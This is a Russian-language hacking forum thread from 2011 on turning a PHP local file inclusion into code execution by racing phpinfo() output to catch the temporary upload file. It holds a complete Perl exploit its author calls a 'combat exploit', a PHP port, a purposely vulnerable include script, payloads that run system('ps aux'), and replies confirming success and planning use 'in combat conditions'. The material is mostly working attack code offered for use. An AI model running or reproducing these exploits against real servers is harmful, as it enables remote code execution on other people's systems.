Старый 15.01.2011, 20:39   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию LFI через phpinfo

В продолжение темы Универсальный LFI для Windows+PHP
Потестил вот это
Цитата:
Сообщение от tipsy Посмотреть сообщение
...

То есть этапы примерно такие (могу ошибаться)
1) устанавливается соединение
2) начинают передаваться данные
3) сразу после получения заголовков апач определяет, что php файл существует и подгружает php. Отсюда разные для всех размеры "минимального файла" - дело в буферизации.
4) php создаёт файл, на этом этапе код скрипта не имеет значения
4.1) файл наполняется данными
5) передача данных заканчивается
6) исполняется php код (в нашем случае phpinfo)
7) php отправляет вывод скрипта апачу
8) php делает cleanup
, удаляя файл, и завершает работу
9) апач отсылает вывод скрипта юзеру.

Жирным выделил этапы, на которых файл существует.
В этом сценарии файл придётся брутить, но есть немалая вероятность, что пункты 8 и 9 в реальности стоят в обратном порядке, то есть до тех пор, пока данные не будут отправлены юзеру и запрос не завершится, php не сделает cleanup.

В таком случае возможно написать эксплойт, который на низком уровне будет саботировать получение последнего пакета с данными.



Проверить возможность создания такого сплойта можно так:

<? phpinfo();
system("touch /tmp/lastline");
?>

и зажать через mod_bwlimit траф до байта в секунду. Если tmp файл удалится сразу после создания lastline, значит уязвимости нет.


сработало



Код:
<?php 
phpinfo();
var_dump($_FILES);
system('touch /tmp/lastline');
?>
PHP Version 5.1.6 не раскрывает массив $_FILES и показывает Array вместо имени файла, на пхп поновее всё будет ок.

Через 30 секунд файл удалился.

В чём суть: я поставил mod_cbandwidth, он говно, на php не действует, снёс.

Поставил mod_bw, зажал траф до 256 bps, всё остальное по-умолчанию. Апач отдаёт данные пакетами по 8кб, соответственно, между пакетами с моими настройками проходит 32 секунды.

phpinfo выполняется несколько минут, возвращая управление ближе к концу.
php завершается, когда остаётся два неотправленных буффера.
php делает cleanup, когда остаётся 1 буффер.

Имя файла находится в самом низу, но дополнительными хидерами удалось приделать хвост в два буфера.

Думаю, это можно воспроизвести на апаче по-умолчанию, контролируя передачу данных на низком уровне.

Да, по хвосту.
Заголовок апача по-умолчанию ограничен 8кб, вроде бы много хидеров не напихаешь, но
z6=z в заголовке превращается в
Код HTML:
<tr><td class="e">HTTP_Z6 </td><td class="v">z6 </td></tr>
в phpinfo, что аж целых 60 байт.

Последний раз редактировалось tipsy; 07.09.2011 в 20:59..
tipsy вне форума   Ответить с цитированием
Старый 16.01.2011, 04:46   #2
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Боевой сплойт и таргет для теста:

Код:
$ perl test.pl http://www.[выпилено]/i.php http://[выпилено]/g.php?f=../../../../../../../etc/passwd
Первый параметр - урл для phpinfo, второй - работающий инклуд /etc/passwd (впрочем, я его не проверяю, так что на винде тоже будет работать - сделано исключительно для удобства и для поддержки сложных инклудов)

i.php
PHP код:
phpinfo(); 
g.php
PHP код:
<?php
include("./".$_REQUEST["f"]);
echo 
"done\n";
?>

Код:
#!/usr/bin/perl -w
use strict;
use IO::Socket;
use LWP::Simple;

my $rcvbuf = 512; # increase if script is running too slow. will be automatically doubled
my $bigz = 3000; # 8000 - long line to create bottlenecks
my $junkheaders = 30; # 1-90
my $junkfiles = 40; #10 ~ 4Mb of overhead
my $junkfilename = '>' x 100000;
my ($host,$path);

if($ARGV[0] =~ m#http://(.+?)(/.+)#) {$host = $1;$path = $2} else { die "Can't extract host\n"}; 
my $inc = $ARGV[1]; #path to /etc/passwd
$|=1;
print "Generating huge headers\t\t";
my $headers = 
"POST $path HTTP/1.0
Host: $host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
z:".("Z" x $bigz)."\n";
for(my $i=0; $i<$junkheaders; $i++) {
	$headers .= "z$i: $i\n";
}
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------59502863519624080131137623865
Content-Length: ";
my $content=
'-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="tfile"; filename="test.html"
Content-Type: text/html

hello<br>
<?php system("ps aux");exit();?>
bye

-----------------------------59502863519624080131137623865--
';
for (my $i=0; $i<$junkfiles; $i++) {
$content .= '-----------------------------59502863519624080131137623865
Content-Disposition: form-data; name="ffile'.$i.'"; filename="'.$i.$junkfilename.'"
Content-Type: text/html

no

-----------------------------59502863519624080131137623865--
';}
$headers .= length($content)."\n\n".$content;
print "[headers ready]\n";

	my $remote = IO::Socket::INET->new( Proto     => "tcp",
	                                 PeerAddr  => $host,
	                                 PeerPort  => 80,
	                               );
	setsockopt($remote, SOL_SOCKET, SO_RCVBUF,pack("I",$rcvbuf));
	sleep(1);
	print "Setting buffer size\t\t[".unpack("I",getsockopt($remote, SOL_SOCKET, SO_RCVBUF))."]\n";
	unless ($remote) { die "cannot connect to http daemon on $host" }
	$remote->autoflush(1);
	print "Sending request\t\t\t";
	print $remote $headers;
	print "[request sent]\n";
	my $line = <$remote>;
	print $line;	
	print "Reading";
	while ( $line = <$remote> ) { 
		print ".";
#		print $line;
		if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {
			my $tmpfile = $1;
			print "\nGot filename: $tmpfile\n";
			print "Including...\n";
			$inc =~ s#/etc/passwd#$tmpfile#;
			getprint("$inc");
			print "\nKeeping file $tmpfile in tmp, use it as long as you need it\n";
			while ($remote) {print ".";sleep 5};
			close $remote; exit;
		}
	}
print "Fail\n";
Тестим, отписываемся.

--
апдейт для лучшей совместимости с suhosin

Последний раз редактировалось Jokester; 07.09.2011 в 19:56.. Причина: снова апдейт
tipsy вне форума   Ответить с цитированием
Старый 16.01.2011, 14:13   #3
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 250
Репутация: 155
По умолчанию

На тестовом :

win 7 - false
ubuntu(обычный юзер) - true
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 16.01.2011, 14:26   #4
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Тестил на шелле c Debian, всё гуд Кросафчег!
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 14:42   #5
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Поправил код удержания, теперь держит дольше пяти минут, но не ловит смерть скрипта по max_execution_time на удалённой стороне, потому что с моей стороны ESTABLISHED, а с удалённой FIN_WAIT1, и я не знаю как это сделать.

Да, если на таргете есть любое проксирование - nginx, или один апач торчит наружу, второй висит на 10.0.0.x - работать не будет, так как внешний будет буферизовать вывод для внутреннего.

На Win7, макоси и фряхе в качестве платформы для запуска сплойт не работает. На домашних линуксах скорее всего не сработает, требуется хороший канал, лучше запускать из датацентра. Нормальное время работы сплойта - одна-две минуты.

Кто-то тестировал на таргетах, которые не линукс?

Кстати, допиливание сплойта до чего-то более удобного приветствуется.

Последний раз редактировалось tipsy; 16.01.2011 в 15:53..
tipsy вне форума   Ответить с цитированием
Старый 16.01.2011, 15:52   #6
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Для смещения конца phpinfo проще послать 2 файла, первый - нужным нам, а второй с названием типа
a[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] (размер самого файла не имеет значения).
Выглядеть это будет так
Код:
<tr><td class="e">_FILES["file"]</td><td class="v"><pre>Array
(
    [name] =&gt; ^^.txt
    [type] =&gt; text/plain
    [tmp_name] =&gt; X:\tmp\php37A.tmp
    [error] =&gt; 0
    [size] =&gt; 0
)
</pre></td></tr>
<tr><td class="e">_FILES["a"]</td><td class="v"><pre>Array
(
    [name] =&gt; Array
        (
            [a] =&gt; Array
                (
                    [a] =&gt; Array
                        (
                            [a] =&gt; Array
                                (
                                    [a] =&gt; Array
                                        (
                                            [a] =&gt; Array
                                                (
                                                    [a] =&gt; Array
                                                        (
                                                            [a] =&gt; Array
                                                                (
                                                                    [a] =&gt; Array
                                                                        (
                                                                            [a] =&gt; Array
                                                                                (
                                                                                    [a] =&gt; Array
                                                                                        (
                                                                                            [a] =&gt; Array
                                                                                                (
                                                                                                    [a] =&gt; Array
                                                                                                        (
                                                                                                            [a] =&gt; Array
                                                                                                                (
                                                                                                                    [a] =&gt; Array
                                                                                                                        (
                                                                                                                            [a] =&gt; Array
                                                                                                                                (
                                                                                                                                    [a] =&gt; Array
                                                                                                                                        (
И так далее... А это уже 80кб и можно сделать больше
BlackFan вне форума   Ответить с цитированием
Старый 16.01.2011, 16:42   #7
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Второй день мучаюсь с этим багом, если бы не посты tipsy и, очень в тему, BlackFan-а, я бы уже наверно забил. Тестил на локалхосте (до этого, вообще никак не удавалось воспроизвести вектор), шелле, шелле tipsy, на всех linux, всё гуд

PHP код:
<?php
error_reporting
(E_ALL);
$target 'http://localhost/phpinfo.php';
$inc 'http://localhost/g.php?f=../../../../../../..';
$temp parse_url($target);
$host $temp['host'];
$path $temp['path'];
$post '';
$html '';
$tmp '';
            print 
"Target host ".$host."<br>";flush();
            print 
"Generating headers   ";flush();
    
    
//Evil
    
$file="-----------------------------7d529a1d23092a\r\n";
    
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".mt_rand(0,1000).".txt\r\n";
    
$file.="Content-Type: text/plain\r\n\r\n";
    
$file.="<?php system(\"ps axu\");?>\r\n";
    
$file.="-----------------------------7d529a1d23092a\r\n";
    
$post .= $file;
    
    
//Fake
    
$file="-----------------------------7d529a1d23092a\r\n";
    
$file.="Content-Disposition: form-data; name=file".mt_rand(0,1000)."; filename=\r\nolololo".str_repeat('o',100000).mt_rand(0,1000).".txt\r\n";
    
$file.="Content-Type: text/plain\r\n\r\n";
    
$file.="fake\r\n";
    
$file.="-----------------------------7d529a1d23092a\r\n";
    
$post .= $file;
    
$req ="POST ".$path." HTTP/1.0\r\n";
$req.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$req.="User-Agent: Googlebot/2.1\r\n";
$req.="Host: ".$host."\r\n";
$req.="Content-Length: ".strlen($post)."\r\n";
$req.="Connection: Close\r\n\r\n";
$req.= $post;

            print 
"[headers ready]<br>";
    
$sock socket_create (AF_INET,SOCK_STREAM,SOL_TCP);
    
socket_set_option($sockSOL_SOCKETSO_RCVBUF256);
            print 
"Setting buffer size   [".socket_get_option($sockSOL_SOCKETSO_RCVBUF)."]<br>";flush();
    
socket_connect ($sock,$host,80);
            print 
"Sending request   ";    flush();
    
socket_write ($sock,$req);
            print 
"[request sent]<br>";flush();
            print 
"Reading";    flush();
    while (
$out socket_read($sock4096)) {
            print 
".";flush();
    
$html .= $out;
    
preg_match_all('#=&gt;(.*)#',$html,$r);
    if(!empty(
$r[0][2])){$tmp str_replace(array("=&gt;",' '),'',$r[0][2]);}
    if(
strpos($tmp,':')){$path explode(':',$tmp);$tmp $path[1];}
    if(
$tmp){ 
            print 
"<br>Got filename: $tmp<br>";flush();
            print 
"Including...<br>";flush();
            print 
file_get_contents($inc.$tmp);flush();
    
socket_close($sock);
    exit;
    }
    }
    
socket_close($sock);
            print 
"Fail :(";
?>

Последний раз редактировалось Jokester; 07.09.2011 в 19:57..
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 18:29   #8
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

Software: Microsoft-IIS/6.0. PHP/5.2.3 GOOD
asddas вне форума   Ответить с цитированием
Старый 16.01.2011, 18:39   #9
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

скрипт asddas сработал, Win7 64

надо теперь в боевых условиях потестить
Ded MustD!e вне форума   Ответить с цитированием
Старый 17.01.2011, 19:16   #10
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Хотел бы подчеркнуть, что в первом посте есть POC для интересных особенностей php:
для кода
PHP код:
echo $a;
exit(); 
-доказана возможность удалённо прочитать часть $a до выполнения команды echo $a;
-доказана возможность получать доступ к ресурсам программы (конкретно - к временным файлам) после выполнения exit().
-доказана возможность удалённо на контролируемое время останавливать выполнение программы в произвольных точках, где программа делает вывод
-доказана возможность удалённо завершить программу в произвольной точке, где программа делает вывод.

Возможно, подобные нарушения пространственно-временного континуума во вселенной пхп окажутся полезны для реализации каких-то новых уязвимостей.

Последний раз редактировалось tipsy; 17.01.2011 в 19:19..
tipsy вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot